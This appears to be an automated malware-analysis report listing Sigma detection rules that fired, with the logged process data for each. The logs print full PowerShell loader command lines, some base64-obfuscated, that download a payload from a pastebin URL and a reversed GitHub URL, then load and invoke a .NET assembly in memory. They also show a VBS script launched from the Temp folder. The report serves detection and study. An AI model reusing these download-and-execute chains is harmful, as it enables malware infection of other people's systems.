Sigma detected: Base64 Encoded PowerShell Command Detected

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?HI?dgBp?GM?ZQBQ?G8?aQBu?HQ?TQBh?G4?YQBn?GU?cgBd?Do?OgBT?GU?YwB1?HI?aQB0?Hk?U?By?G8?d?Bv?GM?bwBs?C??PQ?g?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?V?B5?H??ZQBd?Do?OgBU?Gw?cw?x?DI?Ow?k?EM?QwBS?Gg?bQ?g?D0?I??n?Gg?d?B0?H??cw?6?C8?LwBw?GE?cwB0?GU?YgBp?G4?LgBj?G8?bQ?v?HI?YQB3?C8?QQBk?HY?OQBn?EI?S?Bh?Cc?I??7?CQ?Zg?g?D0?I??o?Fs?UwB5?HM?d?Bl?G0?LgBJ?E8?LgBQ?GE?d?Bo?F0?Og?6?Ec?ZQB0?FQ?ZQBt?H??U?Bh?HQ?a??o?Ck?I??r?C??JwBk?Gw?b??w?DE?LgB0?Hg?d??n?Ck?I??7?Ek?bgB2?G8?awBl?C0?VwBl?GI?UgBl?HE?dQBl?HM?d??g?C0?VQBS?Ek?I??k?EM?QwBS?Gg?bQ?g?C0?TwB1?HQ?RgBp?Gw?ZQ?g?CQ?Zg?g?C0?VQBz?GU?QgBh?HM?aQBj?F??YQBy?HM?aQBu?Gc?I??7?GM?bQBk?C4?ZQB4?GU?I??v?GM?I??7?H??aQBu?Gc?I??x?DI?Nw?u?D??Lg?w?C4?MQ?g?Ds?c?Bv?Hc?ZQBy?HM?a?Bl?Gw?b??u?GU?e?Bl?C??LQBj?G8?bQBt?GE?bgBk?C??ew?k?GY?I??9?C??K?Bb?FM?eQBz?HQ?ZQBt?C4?SQBP?C4?U?Bh?HQ?a?Bd?Do?OgBH?GU?d?BU?GU?bQBw?F??YQB0?Gg?K??p?C??Kw?g?Cc?Z?Bs?Gw?M??x?C4?d?B4?HQ?Jw?p?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?SQBu?HY?bwBr?GU?LQBX?GU?YgBS?GU?cQB1?GU?cwB0?C??LQBV?FI?SQ?g?CQ?UQBQ?HQ?YQB2?C??LQBP?HU?d?BG?Gk?b?Bl?C??J?Bm?C??LQBV?HM?ZQBC?GE?cwBp?GM?U?Bh?HI?cwBp?G4?ZwB9?C??Ow?k?FE?U?B0?GE?dg?g?D0?I??o?C??RwBl?HQ?LQBD?G8?bgB0?GU?bgB0?C??LQBQ?GE?d?Bo?C??J?Bm?C??KQ?g?Ds?J?Bt?Gk?e?Bm?HU?I??9?C??Jw?w?DE?Jw?g?Ds?J?Bi?Gg?c?Bn?GU?I??9?C??Jw?l?Eo?awBR?GE?cwBE?GY?ZwBy?FQ?Zw?l?Cc?I??7?Fs?QgB5?HQ?ZQBb?F0?XQ?g?CQ?bgB1?Gc?awBr?C??PQ?g?Fs?cwB5?HM?d?Bl?G0?LgBD?G8?bgB2?GU?cgB0?F0?Og?6?EY?cgBv?G0?QgBh?HM?ZQ?2?DQ?UwB0?HI?aQBu?Gc?K??g?CQ?UQBQ?HQ?YQB2?C4?cgBl?H??b?Bh?GM?ZQ?o?Cc?J??k?CQ?J??k?Cc?L??n?EE?Jw?p?C??KQ?g?Ds?WwBT?Hk?cwB0?GU?bQ?u?EE?c?Bw?EQ?bwBt?GE?aQBu?F0?Og?6?EM?dQBy?HI?ZQBu?HQ?R?Bv?G0?YQBp?G4?LgBM?G8?YQBk?Cg?J?Bu?HU?ZwBr?Gs?KQ?u?Ec?ZQB0?FQ?eQBw?GU?K??n?FQ?ZQBo?HU?b?Bj?Gg?ZQBz?Fg?e?BY?Hg?e??u?EM?b?Bh?HM?cw?x?Cc?KQ?u?Ec?ZQB0?E0?ZQB0?Gg?bwBk?Cg?JwBN?HM?cQBC?Ek?YgBZ?Cc?KQ?u?Ek?bgB2?G8?awBl?Cg?J?Bu?HU?b?Bs?Cw?I?Bb?G8?YgBq?GU?YwB0?Fs?XQBd?C??K??n?DQ?MgBv?GM?cwBh?C8?bgBp?GE?bQ?v?HM?Z?Bh?GU?a??v?HM?ZgBl?HI?LwBl?HI?aQBm?C8?YQBs?Gw?aQB1?HE?bgBh?HI?cgBh?GI?N??y?D??MgBu?G8?aQBw?G0?YQBo?GM?LwBt?G8?Yw?u?HQ?bgBl?HQ?bgBv?GM?cgBl?HM?dQBi?HU?a?B0?Gk?Zw?u?Hc?YQBy?C8?Lw?6?HM?c?B0?HQ?a??n?C??L??g?CQ?YgBo?H??ZwBl?C??L??g?Cc?aQBn?GY?e?BF?E0?Ng?0?Cc?L??g?CQ?bQBp?Hg?ZgB1?Cw?I??n?DE?Jw?s?C??JwBS?G8?Z?Bh?Cc?I??p?Ck?Ow?=';$Yolopolhggobek = [system.Text.Encoding]::Unicode.GetString( [system.Convert]::FromBase64String( $IuJUJJZz.replace('?','A') ) );$Yolopolhggobek = $Yolopolhggobek.replace('%JkQasDfgrTg%', 'C:\Users\user\AppData\Local\Temp\mknrez.vbs');powershell $Yolopolhggobek;, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?HI?dgBp?GM?ZQBQ?G8?aQBu?HQ?TQBh?G4?YQBn?GU?cgBd?Do?OgBT?GU?YwB1?HI?aQB0?Hk?U?By?G8?d?Bv?GM?bwBs?C??PQ?g?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv

Sigma detected: Invoke-Obfuscation CLIP+ Launcher

Source: Process started

Author: Jonathan Cheong, oscd.community: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$CCRhm = 'https://pastebin.com/raw/Adv9gBHa' ;$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;Invoke-WebRequest -URI $CCRhm -OutFile $f -UseBasicParsing ;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;$QPtav = ( Get-Content -Path $f ) ;Invoke-WebRequest -URI $QPtav -OutFile $f -UseBasicParsing} ;$QPtav = ( Get-Content -Path $f ) ;$mixfu = '01' ;$bhpge = 'C:\Users\user\AppData\Local\Temp\mknrez.vbs' ;[Byte[]] $nugkk = [system.Convert]::FromBase64String( $QPtav.replace('$$$$$','A') ) ;[System.AppDomain]::CurrentDomain.Load($nugkk).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('42ocsa/niam/sdaeh/sfer/erif/alliuqnarrab4202noipmahc/moc.tnetnocresubuhtig.war//:sptth' , $bhpge , 'igfxEM64', $mixfu, '1', 'Roda' ));", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$CCRhm = 'https://pastebin.com/raw/Adv9gBHa' ;$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;Invoke-WebRequest -URI $CCRhm -OutFile $f -UseBasicParsing ;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;$QPtav = ( Get-Content -Path $f ) ;Invoke-WebRequest -URI $QPtav -OutFile $f -UseBasicParsing} ;$QPtav = ( Get-Content -Path $f ) ;$mixfu = '01' ;$bhpge = 'C:\Users\user\AppData\Local\Temp\mknrez.vbs' ;[Byte[]] $nugkk = [system.Convert]::FromBase64String( $QPtav.replace('$$$$$','A') ) ;[System.AppDomain]::CurrentDomain.Load($nugkk).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('42ocsa/niam/sdaeh/sfer/erif/alliuqnarrab4202noipmahc/moc.tnetnocresubuhtig.war//:sptth' , $bhpge , 'igfxEM64', $mixfu, '1', 'Roda' ));", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?HI?dgBp?GM?ZQBQ?G8?aQBu?HQ?TQBh?G4?YQBn?GU?cgBd?Do?OgBT?GU?YwB1?HI?aQB0?Hk?U?By?G8?d?Bv?GM?bwBs?C??PQ?g?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?V?B5?H??ZQBd?Do?OgBU?Gw?cw?x?DI?Ow?k?EM?QwBS?Gg?bQ?g?D0?I??n?Gg?d?B0?H??cw?6?C8?LwBw?GE?cwB0?GU?YgBp?G4?LgBj?G8?bQ?v?HI?YQB3?C8?QQBk?HY?OQBn?EI?S?Bh?Cc?I??7?CQ?Zg?g?D0?I??o?Fs?UwB5?HM?d?Bl?G0?LgBJ?E8?LgBQ?GE?d?Bo?F0?Og?6?Ec?ZQB0?FQ?ZQBt?H??U?Bh?HQ?a??o?Ck?I??r?C??JwBk?Gw?b??w?DE?LgB0?Hg?d??n?Ck?I??7?Ek?bgB2?G8?awBl?C0?VwBl?GI?UgBl?HE?dQBl?HM?d??g?C0?VQBS?Ek?I??k?EM?QwBS?Gg?bQ?g?C0?TwB1?HQ?RgBp?Gw?ZQ?g?CQ?Zg?g?C0?VQBz?GU?QgBh?HM?aQBj?F??YQBy?HM?aQBu?Gc?I??

Sigma detected: Invoke-Obfuscation VAR+ Launcher

Source: Process started

Sigma detected: Potential PowerShell Obfuscation Via Reversed Commands

Source: Process started

Author: Teymur Kheirkhabarov (idea), Vasiliy Burov (rule), oscd.community, Tim Shelton: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$CCRhm = 'https://pastebin.com/raw/Adv9gBHa' ;$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;Invoke-WebRequest -URI $CCRhm -OutFile $f -UseBasicParsing ;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;$QPtav = ( Get-Content -Path $f ) ;Invoke-WebRequest -URI $QPtav -OutFile $f -UseBasicParsing} ;$QPtav = ( Get-Content -Path $f ) ;$mixfu = '01' ;$bhpge = 'C:\Users\user\AppData\Local\Temp\mknrez.vbs' ;[Byte[]] $nugkk = [system.Convert]::FromBase64String( $QPtav.replace('$$$$$','A') ) ;[System.AppDomain]::CurrentDomain.Load($nugkk).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('42ocsa/niam/sdaeh/sfer/erif/alliuqnarrab4202noipmahc/moc.tnetnocresubuhtig.war//:sptth' , $bhpge , 'igfxEM64', $mixfu, '1', 'Roda' ));", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$CCRhm = 'https://pastebin.com/raw/Adv9gBHa' ;$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;Invoke-WebRequest -URI $CCRhm -OutFile $f -UseBasicParsing ;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;$QPtav = ( Get-Content -Path $f ) ;Invoke-WebRequest -URI $QPtav -OutFile $f -UseBasicParsing} ;$QPtav = ( Get-Content -Path $f ) ;$mixfu = '01' ;$bhpge = 'C:\Users\user\AppData\Local\Temp\mknrez.vbs' ;[Byte[]] $nugkk = [system.Convert]::FromBase64String( $QPtav.replace('$$$$$','A') ) ;[System.AppDomain]::CurrentDomain.Load($nugkk).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('42ocsa/niam/sdaeh/sfer/erif/alliuqnarrab4202noipmahc/moc.tnetnocresubuhtig.war//:sptth' , $bhpge , 'igfxEM64', $mixfu, '1', 'Roda' ));", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?HI?dgBp?GM?ZQBQ?G8?aQBu?HQ?TQBh?G4?YQBn?GU?cgBd?Do?OgBT?GU?YwB1?HI?aQB0?Hk?U?By?G8?d?Bv?GM?bwBs?C??PQ?g?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?V?B5?H??ZQBd?Do?OgBU?Gw?cw?x?DI?Ow?k?EM?QwBS?Gg?bQ?g?D0?I??n?Gg?d?B0?H??cw?6?C8?LwBw?GE?cwB0?GU?YgBp?G4?LgBj?G8?bQ?v?HI?YQB3?C8?QQBk?HY?OQBn?EI?S?Bh?Cc?I??7?CQ?Zg?g?D0?I??o?Fs?UwB5?HM?d?Bl?G0?LgBJ?E8?LgBQ?GE?d?Bo?F0?Og?6?Ec?ZQB0?FQ?ZQBt?H??U?Bh?HQ?a??o?Ck?I??r?C??JwBk?Gw?b??w?DE?LgB0?Hg?d??n?Ck?I??7?Ek?bgB2?G8?awBl?C0?VwBl?GI?UgBl?HE?dQBl?HM?d??g?C0?VQBS?Ek?I??k?EM?QwBS?Gg?bQ?g?C0?TwB1?HQ?RgBp?Gw?ZQ?g?CQ?Zg?g?C0?VQBz?GU?QgBh?HM?aQBj?F??YQBy?HM?aQBu?Gc?I??

Sigma detected: PowerShell Base64 Encoded FromBase64String Cmdlet

Source: Process started

Sigma detected: PowerShell Base64 Encoded Invoke Keyword

Source: Process started

Author: pH-T (Nextron Systems), Harjot Singh, @cyb3rjy0t: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand JABmACAAPQAgACgAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAgACsAIAAnAGQAbABsADAAMQAuAHQAeAB0ACcAKQAgADsAJABRAFAAdABhAHYAIAA9ACAAKAAgAEcAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQAZgAgACkAIAA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQBSAEkAIAAkAFEAUAB0AGEAdgAgAC0ATwB1AHQARgBpAGwAZQAgACQAZgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcA -inputFormat xml -outputFormat text, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand JABmACAAPQAgACgAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAgACsAIAAnAGQAbABsADAAMQAuAHQAeAB0ACcAKQAgADsAJABRAFAAdABhAHYAIAA9ACAAKAAgAEcAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQAZgAgACkAIAA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQBSAEkAIAAkAFEAUAB0AGEAdgAgAC0ATwB1AHQARgBpAGwAZQAgACQAZgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcA -inputFormat xml -outputFormat text, CommandLine|base64offset|contains: jw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$CCRhm = 'https://pastebin.com/raw/Adv9gBHa' ;$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;Invoke-WebRequest -URI $CCRhm -OutFile $f -UseBasicParsing ;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;$QPtav = ( Get-Content -Path $f ) ;Invoke-WebRequest -URI $QPtav -OutFile $f -UseBasicParsing} ;$QPtav = ( Get-Content -Path $f ) ;$mixfu = '01' ;$bhpge = 'C:\Users\user\AppData\Local\Temp\mknrez.vbs' ;[Byte[]] $nugkk = [system.Convert]::FromBase64String( $QPtav.replace('$$$$$','A') ) ;[System.AppDomain]::CurrentDomain.Load($nugkk).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('42ocsa/niam/sdaeh/sfer/erif/alliuqnarrab4202noipmahc/moc.tnetnocresubuhtig.war//:sptth' , $bhpge , 'igfxEM64', $mixfu, '1', 'Roda' ));", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6236, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand JABmACAAPQAgACgAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAgACsAIAAnAGQAbABsADAAMQAuAHQAeAB0ACcAKQAgADsAJABRAFAAdABhAHYAIAA9ACAAKAAgAEcAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQAZgAgACkAIAA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQBSAEkAIAAkAFEAUAB0AGEAdgAgAC0ATwB1AHQARgBpAGwAZQAgACQAZgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcA -inputFormat xml -outputFormat text, ProcessId: 7024, ProcessName: powershell.exe

Sigma detected: Script Interpreter Execution From Suspicious Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\jglbwx.vbs" , CommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\jglbwx.vbs" , CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: "C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe", ParentImage: C:\Users\user\Desktop\17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe, ParentProcessId: 6636, ParentProcessName: 17323410655ab7b4ebaf9794a98546bfa9f8606c523f625a9e251d1f6b244b39e491609f0a676.dat-decoded.exe, ProcessCommandLine: "C:\Windows\System32\WScript.exe" "C:\Users\user\AppData\Local\Temp\jglbwx.vbs" , ProcessId: 6864, ProcessName: wscript.exe

Sigma detected: Suspicious Encoded PowerShell Command Line

Source: Process started

Author: Florian Roth (Nextron Systems), Markus Neis, Jonhnathan Ribeiro, Daniil Yugoslavskiy, Anton Kutepov, oscd.community: Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand JABmACAAPQAgACgAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAgACsAIAAnAGQAbABsADAAMQAuAHQAeAB0ACcAKQAgADsAJABRAFAAdABhAHYAIAA9ACAAKAAgAEcAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQAZgAgACkAIAA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQBSAEkAIAAkAFEAUAB0AGEAdgAgAC0ATwB1AHQARgBpAGwAZQAgACQAZgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcA -inputFormat xml -outputFormat text, CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand JABmACAAPQAgACgAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAgACsAIAAnAGQAbABsADAAMQAuAHQAeAB0ACcAKQAgADsAJABRAFAAdABhAHYAIAA9ACAAKAAgAEcAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQAZgAgACkAIAA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQBSAEkAIAAkAFEAUAB0AGEAdgAgAC0ATwB1AHQARgBpAGwAZQAgACQAZgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcA -inputFormat xml -outputFormat text, CommandLine|base64offset|contains: jw, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$CCRhm = 'https://pastebin.com/raw/Adv9gBHa' ;$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;Invoke-WebRequest -URI $CCRhm -OutFile $f -UseBasicParsing ;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;$QPtav = ( Get-Content -Path $f ) ;Invoke-WebRequest -URI $QPtav -OutFile $f -UseBasicParsing} ;$QPtav = ( Get-Content -Path $f ) ;$mixfu = '01' ;$bhpge = 'C:\Users\user\AppData\Local\Temp\mknrez.vbs' ;[Byte[]] $nugkk = [system.Convert]::FromBase64String( $QPtav.replace('$$$$$','A') ) ;[System.AppDomain]::CurrentDomain.Load($nugkk).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('42ocsa/niam/sdaeh/sfer/erif/alliuqnarrab4202noipmahc/moc.tnetnocresubuhtig.war//:sptth' , $bhpge , 'igfxEM64', $mixfu, '1', 'Roda' ));", ParentImage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentProcessId: 6236, ParentProcessName: powershell.exe, ProcessCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -encodedCommand JABmACAAPQAgACgAWwBTAHkAcwB0AGUAbQAuAEkATwAuAFAAYQB0AGgAXQA6ADoARwBlAHQAVABlAG0AcABQAGEAdABoACgAKQAgACsAIAAnAGQAbABsADAAMQAuAHQAeAB0ACcAKQAgADsAJABRAFAAdABhAHYAIAA9ACAAKAAgAEcAZQB0AC0AQwBvAG4AdABlAG4AdAAgAC0AUABhAHQAaAAgACQAZgAgACkAIAA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQBSAEkAIAAkAFEAUAB0AGEAdgAgAC0ATwB1AHQARgBpAGwAZQAgACQAZgAgAC0AVQBzAGUAQgBhAHMAaQBjAFAAYQByAHMAaQBuAGcA -inputFormat xml -outputFormat text, ProcessId: 7024, ProcessName: powershell.exe

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$CCRhm = 'https://pastebin.com/raw/Adv9gBHa' ;$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;Invoke-WebRequest -URI $CCRhm -OutFile $f -UseBasicParsing ;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;$QPtav = ( Get-Content -Path $f ) ;Invoke-WebRequest -URI $QPtav -OutFile $f -UseBasicParsing} ;$QPtav = ( Get-Content -Path $f ) ;$mixfu = '01' ;$bhpge = 'C:\Users\user\AppData\Local\Temp\mknrez.vbs' ;[Byte[]] $nugkk = [system.Convert]::FromBase64String( $QPtav.replace('$$$$$','A') ) ;[System.AppDomain]::CurrentDomain.Load($nugkk).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('42ocsa/niam/sdaeh/sfer/erif/alliuqnarrab4202noipmahc/moc.tnetnocresubuhtig.war//:sptth' , $bhpge , 'igfxEM64', $mixfu, '1', 'Roda' ));", CommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$CCRhm = 'https://pastebin.com/raw/Adv9gBHa' ;$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;Invoke-WebRequest -URI $CCRhm -OutFile $f -UseBasicParsing ;cmd.exe /c ;ping 127.0.0.1 ;powershell.exe -command {$f = ([System.IO.Path]::GetTempPath() + 'dll01.txt') ;$QPtav = ( Get-Content -Path $f ) ;Invoke-WebRequest -URI $QPtav -OutFile $f -UseBasicParsing} ;$QPtav = ( Get-Content -Path $f ) ;$mixfu = '01' ;$bhpge = 'C:\Users\user\AppData\Local\Temp\mknrez.vbs' ;[Byte[]] $nugkk = [system.Convert]::FromBase64String( $QPtav.replace('$$$$$','A') ) ;[System.AppDomain]::CurrentDomain.Load($nugkk).GetType('TehulchesXxXxx.Class1').GetMethod('MsqBIbY').Invoke($null, [object[]] ('42ocsa/niam/sdaeh/sfer/erif/alliuqnarrab4202noipmahc/moc.tnetnocresubuhtig.war//:sptth' , $bhpge , 'igfxEM64', $mixfu, '1', 'Roda' ));", CommandLine|base64offset|contains: , Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $IuJUJJZz = 'WwBT?Hk?cwB0?GU?bQ?u?E4?ZQB0?C4?UwBl?HI?dgBp?GM?ZQBQ?G8?aQBu?HQ?TQBh?G4?YQBn?GU?cgBd?Do?OgBT?GU?YwB1?HI?aQB0?Hk?U?By?G8?d?Bv?GM?bwBs?C??PQ?g?Fs?UwB5?HM?d?Bl?G0?LgBO?GU?d??u?FM?ZQBj?HU?cgBp?HQ?eQBQ?HI?bwB0?G8?YwBv?Gw?V?B5?H??ZQBd?Do?OgBU?Gw?cw?x?DI?Ow?k?EM?QwBS?Gg?bQ?g?D0?I??n?Gg?d?B0?H??cw?6?C8?LwBw?GE?cwB0?GU?YgBp?G4?LgBj?G8?bQ?v?HI?YQB3?C8?QQBk?HY?OQBn?EI?S?Bh?Cc?I??7?CQ?Zg?g?D0?I??o?Fs?UwB5?HM?d?Bl?G0?LgBJ?E8?LgBQ?GE?d?Bo?F0?Og?6?Ec?ZQB0?FQ?ZQBt?H??U?Bh?HQ?a??o?Ck?I??r?C??JwBk?Gw?b??w?DE?LgB0?Hg?d??n?Ck?I??7?Ek?bgB2?G8?awBl?C0?VwBl?GI?UgBl?HE?dQBl?HM?d??g?C0?VQBS?Ek?I??k?EM?QwBS?Gg?bQ?g?C0?TwB1?HQ?RgBp?Gw?ZQ?g?CQ?Zg?g?C0?VQBz?GU?QgBh?HM?aQBj?F??YQBy?HM?aQBu?Gc?I??

Sigma detected: Suspicious PowerShell Encoded Command Patterns

Source: Process started

